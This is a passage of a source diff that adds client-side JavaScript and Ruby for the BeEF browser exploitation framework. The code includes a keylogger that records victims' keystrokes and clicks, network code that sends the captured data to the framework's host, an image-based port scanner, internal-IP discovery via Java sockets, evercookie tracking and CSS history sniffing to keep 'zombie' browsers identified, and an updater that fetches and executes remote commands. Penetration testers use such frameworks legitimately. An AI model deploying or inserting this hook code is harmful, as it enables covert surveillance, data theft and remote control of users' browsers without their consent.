enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
_baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
_baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
}
return output;
}
// public method for decoding
this.decode = function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
while (i < input.length) {
enc1 = _baseKeyStr.indexOf(input.charAt(i++));
enc2 = _baseKeyStr.indexOf(input.charAt(i++));
enc3 = _baseKeyStr.indexOf(input.charAt(i++));
enc4 = _baseKeyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = this._utf8_decode(output);
return output;
}
// private method for UTF-8 encoding
this._utf8_encode = function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
}
// private method for UTF-8 decoding
this._utf8_decode = function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;
while ( i < utftext.length ) {
c = utftext.charCodeAt(i);
if (c < 128) {
string += String.fromCharCode(c);
i++;
}
else if((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt(i+1);
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCodeAt(i+1);
c3 = utftext.charCodeAt(i+2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
i += 3;
}
}
return string;
}
// this is crazy but it's 4am in dublin and i thought this would be hilarious
// blame the guinness
this.evercookie_history = function(name, value)
{
// - is special
var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
var baseElems = baseStr.split("");
// sorry google.
var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
if (typeof(value) != "undefined")
{
// don't reset this if we already have it set once
// too much data and you can't clear previous values
if (this.hasVisited(url))
return;
this.createIframe(url, 'if');
url = url + '/';
var base = this.encode(value).split("");
for (var i = 0; i < base.length; i++)
{
url = url + base[i];
this.createIframe(url, 'if' + i);
}
// - signifies the end of our data
url = url + '-';
this.createIframe(url, 'if_');
}
else
{
// omg you got csspwn3d
if (this.hasVisited(url))
{
url = url + '/';
var letter = "";
var val = "";
var found = 1;
while (letter != '-' && found == 1)
{
found = 0;
for (var i = 0; i < baseElems.length; i++)
{
if (this.hasVisited(url + baseElems[i]))
{
letter = baseElems[i];
if (letter != '-')
val = val + letter;
url = url + letter;
found = 1;
break;
}
}
}
// lolz
return this.decode(val);
}
}
}
this.createElem = function(type, name, append)
{
var el;
if (typeof name != 'undefined' && document.getElementById(name))
el = document.getElementById(name);
else
el = document.createElement(type);
el.style.visibility = 'hidden';
el.style.position = 'absolute';
if (name)
el.setAttribute('id', name);
if (append)
document.body.appendChild(el);
return el;
}
this.createIframe = function(url, name)
{
var el = this.createElem('iframe', name, 1);
el.setAttribute('src', url);
return el;
}
// wait for our swfobject to appear (swfobject.js to load)
this.waitForSwf = function(i)
{
if (typeof i == 'undefined')
i = 0;
else
i++;
// wait for ~2 seconds for swfobject to appear
if (i < _ec_tests && typeof swfobject == 'undefined')
setTimeout(function() { waitForSwf(i) }, 300);
}
this.evercookie_cookie = function(name, value)
{
if (typeof(value) != "undefined")
{
// expire the cookie first
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
}
else
return this.getFromStr(name, document.cookie);
}
// get value from param-like string (eg, "x=y&name=VALUE")
this.getFromStr = function(name, text)
{
if (typeof text != 'string')
return;
var nameEQ = name + "=";
var ca = text.split(/[;&]/);
for (var i = 0; i < ca.length; i++)
{
var c = ca[i];
while (c.charAt(0) == ' ')
c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0)
return c.substring(nameEQ.length, c.length);
}
}
this.getHost = function()
{
var domain = document.location.host;
if (domain.indexOf('www.') == 0)
domain = domain.replace('www.', '');
return domain;
}
this.toHex = function(str)
{
var r = "";
var e = str.length;
var c = 0;
var h;
while (c < e)
{
h = str.charCodeAt(c++).toString(16);
while (h.length < 2)
h = "0" + h;
r += h;
}
return r;
}
this.fromHex = function(str)
{
var r = "";
var e = str.length;
var s;
while (e >= 0)
{
s = e - 2;
r = String.fromCharCode("0x" + str.substring(s, e)) + r;
e = s;
}
return r;
}
/*
* css history knocker (determine what sites your visitors have been to)
*
* originally by Jeremiah Grossman
* http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
*
* ported to additional browsers by Samy Kamkar
*
* compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
*
* - code@samy.pl
*/
this.hasVisited = function(url)
{
if (this.no_color == -1)
{
var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
if (no_style == -1)
this.no_color =
this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
}
// did we give full url?
if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
return this._testURL(url, this.no_color);
// if not, just test a few diff types if (exact)
return this._testURL("http://" + url, this.no_color) ||
this._testURL("https://" + url, this.no_color) ||
this._testURL("http://www." + url, this.no_color) ||
this._testURL("https://www." + url, this.no_color);
}
/* create our anchor tag */
var _link = this.createElem('a', '_ec_rgb_link');
/* for monitoring */
var created_style;
/* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
/* Methods for IE6, IE7, FF, Opera, and Safari */
try {
created_style = 1;
var style = document.createElement('style');
if (style.styleSheet)
style.styleSheet.innerHTML = _cssText;
else if (style.innerHTML)
style.innerHTML = _cssText;
else
{
var cssT = document.createTextNode(_cssText);
style.appendChild(cssT);
}
} catch (e) {
created_style = 0;
}
/* if test_color, return -1 if we can't set a style */
this._getRGB = function(u, test_color)
{
if (test_color && created_style == 0)
return -1;
/* create the new anchor tag with the appropriate URL information */
_link.href = u;
_link.innerHTML = u;
// not sure why, but the next two appendChilds always have to happen vs just once
document.body.appendChild(style);
document.body.appendChild(_link);
/* add the link to the DOM and save the visible computed color */
var color;
if (document.defaultView)
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
else
color = _link.currentStyle['color'];
return color;
}
this._testURL = function(url, no_color)
{
var color = this._getRGB(url);
/* check to see if the link has been visited if the computed color is red */
if (color == "rgb(255, 0, 0)" || color == "#ff0000")
return 1;
/* if our style trick didn't work, just compare default style colors */
else if (no_color && color != no_color)
return 1;
/* not found */
return 0;
}
};
return _class;
})();
/*
* Again, ugly workaround....same problem as flash.
*/
var _global_isolated;
function onSilverlightLoad(sender, args) {
var control = sender.getHost();
_global_isolated = control.Content.App.getIsolatedStorage();
}
/*
function onSilverlightError(sender, args) {
_global_isolated = "";
}*/
function onSilverlightError(sender, args) {
_global_isolated = "";
}

16
core/main/client/lib/jquery-1.5.min.js vendored Normal file

File diff suppressed because one or more lines are too long

200
core/main/client/logger.js Normal file
View File

@@ -0,0 +1,200 @@
/*!
* @literal object: beef.logger
*
* Provides logging capabilities.
*/
beef.logger = {
running: false,
/**
* Internal logger id
*/
id: 0,
/**
* Holds events created by user, to be sent back to BeEF
*/
events: [],
/**
* Holds current stream of key presses
*/
stream: [],
/**
* Contains current target of key presses
*/
target: null,
/**
* Holds the time the logger was started
*/
time: null,
/**
* Holds the event details to be sent to BeEF
*/
e: function() {
this.id = beef.logger.get_id();
this.time = beef.logger.get_timestamp();
this.type = null;
this.x = 0;
this.y = 0;
this.target = null;
this.data = null;
},
/**
* Starts the logger
*/
start: function() {
this.running = true;
var d = new Date();
this.time = d.getTime();
$j(document).keypress(
function(e) { beef.logger.keypress(e); }
).click(
function(e) { beef.logger.click(e); }
);
$j(window).focus(
function(e) { beef.logger.win_focus(e); }
).blur(
function(e) { beef.logger.win_blur(e); }
);
/*$j('form').submit(
function(e) { beef.logger.submit(e); }
);*/
},
/**
* Stops the logger
*/
stop: function() {
this.running = false;
clearInterval(this.timer);
$j(document).keypress(null);
},
/**
* Get id
*/
get_id: function() {
this.id++;
return this.id;
},
/**
* Click function fires when the user clicks the mouse.
*/
click: function(e) {
var c = new beef.logger.e();
c.type = 'click';
c.x = e.pageX;
c.y = e.pageY;
c.target = beef.logger.get_dom_identifier(e.target);
this.events.push(c);
},
/**
* Fires when the window element has regained focus
*/
win_focus: function(e) {
var f = new beef.logger.e();
f.type = 'focus';
this.events.push(f);
},
/**
* Fires when the window element has lost focus
*/
win_blur: function(e) {
var b = new beef.logger.e();
b.type = 'blur';
this.events.push(b);
},
/**
* Keypress function fires everytime a key is pressed.
* @param {Object} e: event object
*/
keypress: function(e) {
if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
{
beef.logger.push_stream();
this.target = e.target;
}
this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
},
/**
* Is called whenever a form is submitted
* TODO: Cleanup this function
*/
submit: function(e) {
/*this.events.push('Form submission: Action: '+$j(e.target).attr('action')+' Method: '+$j(e.target).attr('method')+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target));*/
},
/**
* Pushes the current stream to the events queue
*/
push_stream: function() {
if (this.stream.length > 0)
{
this.events.push(beef.logger.parse_stream());
this.stream = [];
}
},
/**
* Translate DOM Object to a readable string
*/
get_dom_identifier: function(target) {
target = (target == null) ? this.target : target;
var id = '';
if (target)
{
id = target.tagName.toLowerCase();
id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
}
return id;
},
/**
* Formats the timestamp
* @return {String} timestamp string
*/
get_timestamp: function() {
var d = new Date();
return ((d.getTime() - this.time) / 1000).toFixed(3);
},
/**
* Parses stream array and creates history string
*/
parse_stream: function() {
var s = '';
for (var i in this.stream)
{
//s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : '';
//s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : '';
//s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : '';
s += String.fromCharCode(this.stream[i]['char']);
}
var k = new beef.logger.e();
k.type = 'keys';
k.target = beef.logger.get_dom_identifier();
k.data = s;
return k;
},
/**
* Queue results to be sent back to framework
*/
queue: function() {
beef.logger.push_stream();
if (this.events.length > 0)
{
beef.net.queue('/event', 0, this.events);
this.events = [];
}
}
};
beef.regCmp('beef.logger');

215
core/main/client/net.js Normal file
View File

@@ -0,0 +1,215 @@
/*!
* @literal object: beef.net
*
* Provides basic networking functions.
*/
beef.net = {
host: "<%= @beef_host %>",
port: "<%= @beef_port %>",
hook: "<%= @beef_hook %>",
handler: '/dh',
chop: 1000,
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count: 0,
cmd_queue: [],
//Command object
command: function() {
this.cid = null;
this.results = null;
this.handler = null;
this.callback = null;
this.results = null;
},
//Packet object
packet: function() {
this.id = null;
this.data = null;
},
//Stream object
stream: function() {
this.id = null;
this.packets = [];
this.pc = 0;
this.get_base_url_length = function() {
return (this.url+this.handler+'?'+'bh='+beef.session.get_hook_session_id()).length;
},
this.get_packet_data = function() {
var p = this.packets.shift();
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
};
},
/**
* Response Object - returned from beef.net.request with result of request
*/
response: function() {
this.status_code = null; // 500, 404, 200, 302
this.response_body = null; // "<html>…." if not a cross domain request
this.port_status = null; // tcp port is open, closed or not http
this.was_cross_domain = null; // true or false
this.was_timedout = null; // the user specified timeout was reached
this.duration = null; // how long it took for the request to complete
},
//Queues the command, to be sent back to the framework on the next refresh
queue: function(handler, cid, results, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function'))
{
var s = new beef.net.command();
s.cid = cid;
s.results = beef.net.clean(results);
s.callback = callback;
s.handler = handler;
this.cmd_queue.push(s);
}
},
//Queues the current command and flushes the queue straight away
send: function(handler, cid, results, callback) {
this.queue(handler, cid, results, callback);
this.flush();
},
//Flush all currently queued commands to the framework
flush: function() {
if (this.cmd_queue.length > 0)
{
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
this.cmd_queue.length = 0;
this.sid_count++;
var stream = new this.stream();
stream.id = this.sid_count;
var pad = stream.get_base_url_length() + this.pad;
//cant continue if chop amount is too low
if ((this.chop - pad) > 0)
{
var data = this.chunk(data, (this.chop - pad));
for (var i = 1; i <= data.length; i++)
{
var packet = new this.packet();
packet.id = i;
packet.data = data[(i-1)];
stream.packets.push(packet);
}
stream.pc = stream.packets.length;
this.push(stream);
}
}
},
//Split string into chunk lengths determined by amount
chunk: function(str, amount) {
if (typeof amount == 'undefined') n=2;
return str.match(RegExp('.{1,'+amount+'}','g'));
},
//Push packets to framework
push: function(stream) {
//need to implement wait feature here eventually
for (var i = 0; i < stream.pc; i++)
{
this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
}
},
/**
*Performs http requests
* @param: {String} scheme: HTTP or HTTPS
* @param: {String} method: GET or POST
* @param: {String} domain: bindshell.net, 192.168.3.4, etc
* @param: {Int} port: 80, 5900, etc
* @param: {String} path: /path/to/resource
* @param: {String} anchor: this is the value that comes after the # in the URL
* @param: {String} data: This will be used as the query string for a GET or post data for a POST
* @param: {Int} timeout: timeout the request after N seconds
* @param: {String} dataType: specify the data return type expected (ie text/html/script)
* @param: {Funtion} callback: call the callback function at the completion of the method
*
* @return: {Object} response: this object contains the response details
*/
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
//check if same domain or cross domain
cross_domain = (document.domain == domain) ? false : true;
//build the url
var url = scheme+"://"+domain;
url = (port != null) ? url+":"+port : url;
url = (path != null) ? url+path : url;
url = (anchor != null) ? url+"#"+anchor : url;
//define response object
var response = new this.response;
response.was_cross_domain = cross_domain;
var start_time = new Date().getTime();
//build and execute request
$j.ajax({type: method,
dataType: dataType,
url: url,
data: data,
timeout: (timeout * 1000),
//function on success
success: function(data, textStatus, jqXHR){
var end_time = new Date().getTime();
response.status_code = textStatus;
response.response_body = data;
response.port_status = "open";
response.was_timedout = false;
response.duration = (end_time - start_time);
},
//function on failure
error: function(jqXHR, textStatus, errorThrown){
var end_time = new Date().getTime();
if (textStatus == "timeout"){
response.was_timedout = true;
};
response.status_code = textStatus;
response.duration = (end_time - start_time);
},
//function on completion
complete: function(transport) {
response.status_code = transport.status;
}
}).done(function() { if (callback != null) { callback(response); } });
return response;
},
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
clean: function(r) {
if (this.array_has_string_key(r)) {
var obj = {};
for (var key in r)
obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
return obj;
}
return r;
},
//Detects if an array has a string key
array_has_string_key: function(arr) {
if ($j.isArray(arr))
{
try {
for (var key in arr)
if (isNaN(parseInt(key))) return true;
} catch (e) { }
}
return false;
},
//Sends back browser details to framework
browser_details: function() {
var details = beef.browser.getDetails();
details['HookSessionID'] = beef.session.get_hook_session_id();
this.send('/init', 0, details);
}
};
beef.regCmp('beef.net');

View File

@@ -0,0 +1,67 @@
/*!
* @literal object: beef.net.local
*
* Provides networking functions for the local/internal network of the zombie.
*/
beef.net.local = {
sock: false,
/**
* Initializes the java socket. We have to use this method because
* some browsers do not have java installed or it is not accessible.
* in which case creating a socket directly generates an error. So this code
* is invalid:
* sock: new java.net.Socket();
*/
initializeSocket: function() {
if(! beef.browser.hasJava()) return -1;
try {
this.sock = new java.net.Socket();
} catch(e) {
return -1;
}
return 1;
},
/**
* Returns the internal IP address of the zombie.
* @return: {String} the internal ip of the zombie.
* @error: return -1 if the internal ip cannot be retrieved.
*/
getLocalAddress: function() {
if(! beef.browser.hasJava()) return false;
this.initializeSocket();
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
return this.sock.getLocalAddress().getHostAddress();
} catch(e) { return false; }
},
/**
* Returns the internal hostname of the zombie.
* @return: {String} the internal hostname of the zombie.
* @error: return -1 if the hostname cannot be retrieved.
*/
getLocalHostname: function() {
if(! beef.browser.hasJava()) return false;
this.initializeSocket();
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
return this.sock.getLocalAddress().getHostName();
} catch(e) { return false; }
}
};
beef.regCmp('beef.net.local');

View File

@@ -0,0 +1,48 @@
/*!
* @literal object: beef.net.portscanner
*
* Provides port scanning functions for the zombie. A mod of pdp's scanner
*
* Version: '0.1',
* author: 'Petko Petkov',
* homepage: 'http://www.gnucitizen.org'
*/
beef.net.portscanner = {
scanPort: function(callback, target, port, timeout)
{
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');
};
img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
},
scanTarget: function(callback, target, ports_str, timeout)
{
var ports = ports_str.split(",");
for (index = 0; index < ports.length; index++) {
this.scanPort(callback, target, ports[index], timeout);
};
}
};
beef.regCmp('beef.net.portscanner');

View File

@@ -0,0 +1,24 @@
/*!
* @literal object: beef.net.requester
*
* request object structure:
* + method: {String} HTTP method to use (GET or POST).
* + host: {String} hostname
* + query_string: {String} The query string is a part of the URL which is passed to the program.
* + uri: {String} The URI syntax consists of a URI scheme name.
* + headers: {Array} contain the operating parameters of the HTTP request.
*/
beef.net.requester = {
handler: "requester",
send: function(requests_array) {
for (i in requests_array) {
request = requests_array[i];
beef.net.request('http', request.method, request.host, request.port, request.uri, null, null, 10, 'HTML', function(res) { beef.net.send('/requester', request.id, res.response_body); });
}
}
};
beef.regCmp('beef.net.requester');

116
core/main/client/os.js Normal file
View File

@@ -0,0 +1,116 @@
beef.os = {
ua: navigator.userAgent,
isWin311: function() {
return (this.ua.indexOf("Win16") != -1) ? true : false;
},
isWinNT4: function() {
return (this.ua.match('(Windows NT 4.0)')) ? true : false;
},
isWin95: function() {
return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
},
isWin98: function() {
return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
},
isWinME: function() {
return (this.ua.indexOf('Windows ME') != -1) ? true : false;
},
isWin2000: function() {
return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
},
isWinXP: function() {
return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
},
isWinServer2003: function() {
return (this.ua.match('(Windows NT 5.2)')) ? true : false;
},
isWinVista: function() {
return (this.ua.match('(Windows NT 6.0)')) ? true : false;
},
isWin7: function() {
return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
},
isOpenBSD: function() {
return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
},
isSunOS: function() {
return (this.ua.indexOf('SunOS') != -1) ? true : false;
},
isLinux: function() {
return (this.ua.match('(Linux)|(X11)')) ? true : false;
},
isMacintosh: function() {
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
},
isIphone: function() {
return (this.ua.indexOf('iPhone') != -1) ? true : false;
},
isIpad: function() {
return (this.ua.indexOf('iPad') != -1) ? true : false;
},
isQNX: function() {
return (this.ua.indexOf('QNX')) ? true : false;
},
isBeOS: function() {
return (this.ua.indexOf('BeOS')) ? true : false;
},
getName: function() {
//windows
if(this.isWin311()) return 'Windows 3.11';
if(this.isWinNT4()) return 'Windows NT 4';
if(this.isWin95()) return 'Windows 95';
if(this.isWin95()) return 'Windows 98';
if(this.isWin98()) return 'Windows 98';
if(this.isWinME()) return 'Windows Millenium';
if(this.isWin2000()) return 'Windows 2000';
if(this.isWinXP()) return 'Windows XP';
if(this.isWinServer2003()) return 'Windows Server 2003';
if(this.isWinVista()) return 'Windows Vista';
if(this.isWin7()) return 'Windows 7';
//linux
if(this.isLinux()) return 'Linux';
if(this.isSunOS()) return 'Sun OS';
//iPhone
if (this.isIphone()) return 'iPhone';
//iPad
if (this.isIpad()) return 'iPad';
//macintosh
if(this.isMacintosh()) {
if((typeof navigator.oscpu != 'undefined') && (navigator.oscpu.indexOf('Mac OS')!=-1))
return navigator.oscpu;
return 'Macintosh';
}
//others
if(this.isQNX()) return 'QNX';
if(this.isBeOS()) return 'BeOS';
return 'unknown';
}
};
beef.regCmp('beef.net.os');

View File

@@ -0,0 +1,85 @@
/*!
* @literal object: beef.session
*
* Provides basic session functions.
*/
beef.session = {
hook_session_id_length: 80,
hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
ec: new evercookie(),
/**
* Gets a string which will be used to identify the hooked browser session
*
* @example: var hook_session_id = beef.session.get_hook_session_id();
*/
get_hook_session_id: function() {
// check if the browser is already known to the framework
var id = this.ec.evercookie_cookie("BEEFHOOK");
if (typeof id == 'undefined') {
var id = this.ec.evercookie_userdata("BEEFHOOK");
}
if (typeof id == 'undefined') {
var id = this.ec.evercookie_window("BEEFHOOK");
}
// if the browser is not known create a hook session id and set it
if (typeof id == 'undefined') {
id = this.gen_hook_session_id();
this.set_hook_session_id(id);
}
// return the hooked browser session identifier
return id;
},
/**
* Sets a string which will be used to identify the hooked browser session
*
* @example: beef.session.set_hook_session_id('RANDOMSTRING');
*/
set_hook_session_id: function(id) {
// persist the hook session id
this.ec.evercookie_cookie("BEEFHOOK", id);
this.ec.evercookie_userdata("BEEFHOOK", id);
this.ec.evercookie_window("BEEFHOOK", id);
},
/**
* Generates a random string using the chars in hook_session_id_chars.
*
* @example: beef.session.gen_hook_session_id();
*/
gen_hook_session_id: function() {
// init the return value
var hook_session_id = "";
// construct the random string
for(var i=0; i<this.hook_session_id_length; i++) {
var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
hook_session_id += this.hook_session_id_chars.charAt(rand_num);
}
return hook_session_id;
},
/**
* Overrides each link, and creates an iframe (loading the href) instead of following the link
*/
persistant: function() {
$j('a').click(function(e) {
if ($j(this).attr('href') != '')
{
e.preventDefault();
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
$j(document).attr('title', $j(this).html());
}
});
}
};
beef.regCmp('beef.session');

View File

@@ -0,0 +1,80 @@
/*!
* @Literal object: beef.updater
*
* Object in charge of getting new commands from the BeEF framework and execute them.
*/
beef.updater = {
// Low timeouts combined with the way the framework sends commamd modules result
// in instructions being sent repeatedly or complex code.
// If you suffer from ADHD, you can decrease this setting.
timeout: 10000,
// A lock.
lock: false,
// An object containing all values to be registered and sent by the updater.
objects: new Object(),
/*
* Registers an object to always send when requesting new commands to the framework.
* @param: {String} the name of the object.
* @param: {String} the value of that object.
*
* @example: beef.updater.regObject('java_enabled', 'true');
*/
regObject: function(key, value) {
this.objects[key] = escape(value);
},
// Checks for new commands from the framework and runs them.
check: function() {
if(this.lock == false) {
if (beef.logger.running) {
beef.logger.queue();
}
beef.net.flush();
if(beef.commands.length > 0) {
this.execute_commands();
} else {
this.get_commands();
}
}
setTimeout("beef.updater.check();", beef.updater.timeout);
},
// Gets new commands from the framework.
get_commands: function(http_response) {
try {
this.lock = true;
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 10, 'script', function(response) {
if (response.body != null && response.body.length > 0)
beef.updater.execute_commands();
});
} catch(e) {
this.lock = false;
return;
}
this.lock = false;
},
// Executes the received commands if any.
execute_commands: function() {
if(beef.commands.length == 0) return;
this.lock = true;
while(beef.commands.length > 0) {
command = beef.commands.pop();
try {
command();
} catch(e) {
console.error('execute_commands - command failed to execute: ' + e.message);
}
}
this.lock = false;
}
}
beef.regCmp('beef.updater');

252
core/main/command.rb Normal file
View File

@@ -0,0 +1,252 @@
module BeEF
module Core
#
# This module contains a list of utils functions to use
# when writing commands.
#
module CommandUtils
# Format a string to support multiline in javascript.
def format_multiline(text); text.gsub(/\n/, '\n'); end
end
#
# The Command Module Context is being used when evaluating code in eruby.
# In other words, we use that code to add funky functions to the
# javascript templates of our commands.
#
class CommandContext < Erubis::Context
include BeEF::Core::CommandUtils
def initialize(hash=nil);
super(hash);
end
end
#
# This class is the base class for all command modules in the framework.
#
# Two instances of this object are created during the execution of command module.
#
class Command
attr_reader :info, :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
attr_accessor :zombie, :command_id, :session_id, :target
include BeEF::Core::CommandUtils
include BeEF::Core::Constants::Browsers
include BeEF::Core::Constants::CommandModule
# Super class controller
def initialize(info)
get_extensions
@info = info
@datastore = @info['Data'] || {}
@friendlyname = @info['Name'] || nil
@target = @info['Target'] || nil
@output = ''
@path = @info['File'].sub(BeEF::Core::Server.instance.root_dir, '')
@default_command_url = '/command/'+(File.basename @path, '.rb')+'.js'
@id = BeEF::Core::Models::CommandModule.first(:path => @info['File']).object_id
@use_template = false
@auto_update_zombie = false
@results = {}
@beefjs_components = {}
end
#
# Uses the API to include all the code from extensions that need to add
# methods, constants etc to that class.
#
# See BeEF::API::Command for examples.
#
def get_extensions
BeEF::API::Command.extended_in_modules.each do |mod|
self.class.send(:include, mod)
end
end
#
# This function is called just before the intructions are sent to hooked browser.
# The derived class can use this function to update params used in the command module.
#
def pre_send; end
#
# Callback method. This function is called when the hooked browser sends results back.
#
def callback; end
#
# If the command requires some data to be sent back, this function will process them.
#
def process_zombie_response(head, params); end
#
# Returns true if the command needs configurations to work. False if not.
#
def needs_configuration?; !@datastore.nil?; end
#
# Returns information about the command in a JSON format.
#
def to_json
{
'Name' => info['Name'],
'Description' => info['Description'],
'Category' => info['Category'],
'Data' => info['Data']
}.to_json
end
#
# Builds the 'datastore' attribute of the command which is used to generate javascript code.
#
def build_datastore(data);
@datastore = JSON.parse(data)
end
#
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
#
# build_callback_datastore(http_params, http_header)
#
def build_callback_datastore(http_params, http_header)
@datastore = {'http_headers' => {}} # init the datastore
# get, check and add the http_params to the datastore
http_params.keys.each { |http_params_key|
raise WEBrick::HTTPStatus::BadRequest, "http_params_key is invalid" if not BeEF::Filters.is_valid_command_module_datastore_key?(http_params_key)
http_params_value = Erubis::XmlHelper.escape_xml(http_params[http_params_key])
raise WEBrick::HTTPStatus::BadRequest, "http_params_value is invalid" if not BeEF::Filters.is_valid_command_module_datastore_param?(http_params_value)
@datastore[http_params_key] = http_params_value # add the checked key and value to the datastore
}
# get, check and add the http_headers to the datastore
http_header.keys.each { |http_header_key|
raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filters.is_valid_command_module_datastore_key?(http_header_key)
http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0])
raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filters.is_valid_command_module_datastore_param?(http_header_value)
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
}
end
#
# set the target details
# this function is used when determining the code of the node icon
#
def set_target(definition)
@target = [] if not @target
@target.push(definition)
end
#
# Tells the framework that the command module will be using a template file.
#
def use_template!;
tpl = @info['File'].sub(/module.rb$/, 'command.js')
@template = tpl if File.exists? tpl
@use_template = true;
end
#
# Returns true if the command uses a template. False if not.
#
def use_template?; @use_template; end
#
# Returns the output of the command. These are the actual instructions sent to the browser.
#
def output
if use_template?
#TODO: name exceptions correctly
raise Exception::TypeError, "@template is nil" if @template.nil?
raise WEBrick::HTTPStatus::BadRequest, "@template file does not exist" if not File.exists? @template
@eruby = Erubis::FastEruby.new(File.read(@template))
if @datastore
@datastore['command_url'] = BeEF::Core::Server.instance.get_command_url(@default_command_url)
@datastore['command_id'] = @command_id
command_context = BeEF::Core::CommandContext.new
@datastore.each{|k,v|
command_context[k] = v
}
@output = @eruby.evaluate(command_context)
else
@ouput = @eruby.result()
end
end
@output
end
#
# Saves the results received from the zombie.
#
def save(results);
@results = results;
end
# If nothing else than the file is specified, the function will map the file to a random path
# without any extension.
def map_file_to_url(file, path=nil, extension=nil, count=1)
return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
end
#
# Tells the framework to load a specific module of the BeEFJS library that
# the command will be using.
#
# Example:
#
# use 'beef.net.local'
# use 'beef.encode.base64'
#
def use(component)
return if @beefjs_components.include? component
component_path = '/'+component
component_path.gsub!(/beef./, '')
